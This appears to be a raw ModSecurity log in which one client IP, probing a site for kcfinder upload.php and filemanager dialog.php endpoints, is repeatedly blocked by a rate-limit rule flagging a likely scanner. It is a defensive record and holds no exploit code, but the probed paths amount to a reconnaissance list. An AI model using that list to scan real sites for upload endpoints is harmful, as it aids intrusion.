[Fri May 22 22:13:42.940259 2026] [:error] [pid 15583:tid 15590] [client 134.199.156.173:56018] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrMQAAAAI"]
[Fri May 22 22:13:42.942802 2026] [:error] [pid 15583:tid 15588] [client 134.199.156.173:56028] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrMgAAAAA"]
[Fri May 22 22:13:42.947295 2026] [:error] [pid 15583:tid 15602] [client 134.199.156.173:56034] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrMwAAAA4"]
[Fri May 22 22:13:42.949895 2026] [:error] [pid 15583:tid 15589] [client 134.199.156.173:56038] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrNAAAAAE"]
[Fri May 22 22:13:42.970469 2026] [:error] [pid 15583:tid 15603] [client 134.199.156.173:56042] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrNQAAAA8"]
[Fri May 22 22:13:42.972615 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:56052] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrNgAAABI"]
[Fri May 22 22:13:42.974429 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:56054] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrNwAAAAM"]
[Fri May 22 22:13:42.976075 2026] [:error] [pid 15583:tid 15612] [client 134.199.156.173:56064] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrOAAAABg"]
[Fri May 22 22:13:42.981464 2026] [:error] [pid 58813:tid 58822] [client 134.199.156.173:56080] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahBklp6yyKWDKULhxJ2VGgAAAUY"]
[Fri May 22 22:13:42.982333 2026] [:error] [pid 15583:tid 15611] [client 134.199.156.173:56078] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrOQAAABc"]
[Fri May 22 22:13:42.983158 2026] [:error] [pid 58782:tid 58793] [client 134.199.156.173:56094] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz8QAAAQk"]
[Fri May 22 22:13:42.984063 2026] [:error] [pid 58782:tid 58802] [client 134.199.156.173:56100] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz8gAAARI"]
[Fri May 22 22:13:42.986068 2026] [:error] [pid 15583:tid 15601] [client 134.199.156.173:56108] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrOgAAAA0"]
[Fri May 22 22:13:42.989386 2026] [:error] [pid 15584:tid 15638] [client 134.199.156.173:56114] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahBklt9Z_TVLbNEx52hEYAAAAFI"]
[Fri May 22 22:13:42.991143 2026] [:error] [pid 15583:tid 15605] [client 134.199.156.173:56128] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrOwAAABE"]
[Fri May 22 22:13:43.001944 2026] [:error] [pid 15583:tid 15598] [client 134.199.156.173:56132] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrPAAAAAo"]
[Fri May 22 22:13:43.015051 2026] [:error] [pid 15583:tid 15604] [client 134.199.156.173:56136] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrPQAAABA"]
[Fri May 22 22:13:43.015916 2026] [:error] [pid 15584:tid 15635] [client 134.199.156.173:56152] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEYQAAAE8"]
[Fri May 22 22:13:43.017778 2026] [:error] [pid 15583:tid 15596] [client 134.199.156.173:56154] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrPgAAAAg"]
[Fri May 22 22:13:43.024527 2026] [:error] [pid 15583:tid 15595] [client 134.199.156.173:56170] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrPwAAAAc"]
[Fri May 22 22:13:43.025660 2026] [:error] [pid 15583:tid 15592] [client 134.199.156.173:56186] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrQAAAAAQ"]
[Fri May 22 22:13:43.028805 2026] [:error] [pid 15583:tid 15607] [client 134.199.156.173:56198] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrQQAAABM"]
[Fri May 22 22:13:43.044902 2026] [:error] [pid 15584:tid 15630] [client 134.199.156.173:56200] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEYgAAAEo"]
[Fri May 22 22:13:43.060326 2026] [:error] [pid 15584:tid 15625] [client 134.199.156.173:56208] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEYwAAAEU"]
[Fri May 22 22:13:43.065796 2026] [:error] [pid 58813:tid 58825] [client 134.199.156.173:56214] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBkl56yyKWDKULhxJ2VGwAAAUk"]
[Fri May 22 22:13:43.083487 2026] [:error] [pid 15583:tid 15609] [client 134.199.156.173:56230] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrQgAAABU"]
[Fri May 22 22:13:43.088405 2026] [:error] [pid 15583:tid 15594] [client 134.199.156.173:56234] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrQwAAAAY"]
[Fri May 22 22:13:43.102177 2026] [:error] [pid 15584:tid 15628] [client 134.199.156.173:56250] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEZAAAAEg"]
[Fri May 22 22:13:43.117620 2026] [:error] [pid 15583:tid 15597] [client 134.199.156.173:56258] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrRAAAAAk"]
[Fri May 22 22:13:43.125220 2026] [:error] [pid 58782:tid 58785] [client 134.199.156.173:56260] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz8wAAAQE"]
[Fri May 22 22:13:43.140695 2026] [:error] [pid 58813:tid 58830] [client 134.199.156.173:56262] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahBkl56yyKWDKULhxJ2VHAAAAU4"]
[Fri May 22 22:13:43.142147 2026] [:error] [pid 58782:tid 58784] [client 134.199.156.173:56272] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz9AAAAQA"]
[Fri May 22 22:13:43.145347 2026] [:error] [pid 15584:tid 15621] [client 134.199.156.173:56284] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEZQAAAEE"]
[Fri May 22 22:13:43.160029 2026] [:error] [pid 15583:tid 15610] [client 134.199.156.173:56300] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrRQAAABY"]
[Fri May 22 22:13:43.161441 2026] [:error] [pid 58782:tid 58808] [client 134.199.156.173:56308] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz9QAAARg"]
[Fri May 22 22:13:43.170341 2026] [:error] [pid 58782:tid 58794] [client 134.199.156.173:56322] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz9gAAAQo"]
[Fri May 22 22:13:43.171003 2026] [:error] [pid 58782:tid 58797] [client 134.199.156.173:56326] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz9wAAAQ0"]
[Fri May 22 22:13:43.172988 2026] [:error] [pid 58782:tid 58796] [client 134.199.156.173:56328] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz-AAAAQw"]
[Fri May 22 22:13:43.183910 2026] [:error] [pid 58782:tid 58789] [client 134.199.156.173:56338] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz-QAAAQU"]
[Fri May 22 22:13:43.188767 2026] [:error] [pid 58782:tid 58790] [client 134.199.156.173:56358] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz-gAAAQY"]
[Fri May 22 22:13:43.189118 2026] [:error] [pid 58782:tid 58798] [client 134.199.156.173:56344] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz-wAAAQ4"]
[Fri May 22 22:13:43.206539 2026] [:error] [pid 58782:tid 58800] [client 134.199.156.173:56374] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz_AAAARA"]
[Fri May 22 22:13:43.206539 2026] [:error] [pid 58782:tid 58791] [client 134.199.156.173:56390] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz_QAAAQc"]
[Fri May 22 22:13:43.213305 2026] [:error] [pid 58782:tid 58786] [client 134.199.156.173:56400] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz_gAAAQI"]
[Fri May 22 22:13:43.214219 2026] [:error] [pid 58782:tid 58788] [client 134.199.156.173:56416] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQz_wAAAQQ"]
[Fri May 22 22:13:43.226136 2026] [:error] [pid 15583:tid 15599] [client 134.199.156.173:56430] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrRgAAAAs"]
[Fri May 22 22:13:43.232886 2026] [:error] [pid 15584:tid 15631] [client 134.199.156.173:56440] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEZgAAAEs"]
[Fri May 22 22:13:43.248507 2026] [:error] [pid 15584:tid 15642] [client 134.199.156.173:56454] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEZwAAAFY"]
[Fri May 22 22:13:43.256035 2026] [:error] [pid 15583:tid 15608] [client 134.199.156.173:56460] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrRwAAABQ"]
[Fri May 22 22:13:43.258513 2026] [:error] [pid 15583:tid 15590] [client 134.199.156.173:56476] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrSAAAAAI"]
[Fri May 22 22:13:43.365010 2026] [:error] [pid 58813:tid 58836] [client 134.199.156.173:56488] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahBkl56yyKWDKULhxJ2VHQAAAVQ"]
[Fri May 22 22:13:43.381261 2026] [:error] [pid 58813:tid 58839] [client 134.199.156.173:56514] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahBkl56yyKWDKULhxJ2VHgAAAVc"]
[Fri May 22 22:13:43.381473 2026] [:error] [pid 15583:tid 15588] [client 134.199.156.173:56524] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrSgAAAAA"]
[Fri May 22 22:13:43.382277 2026] [:error] [pid 15584:tid 15640] [client 134.199.156.173:56502] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEaAAAAFQ"]
[Fri May 22 22:13:43.383492 2026] [:error] [pid 15584:tid 15637] [client 134.199.156.173:56528] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEaQAAAFE"]
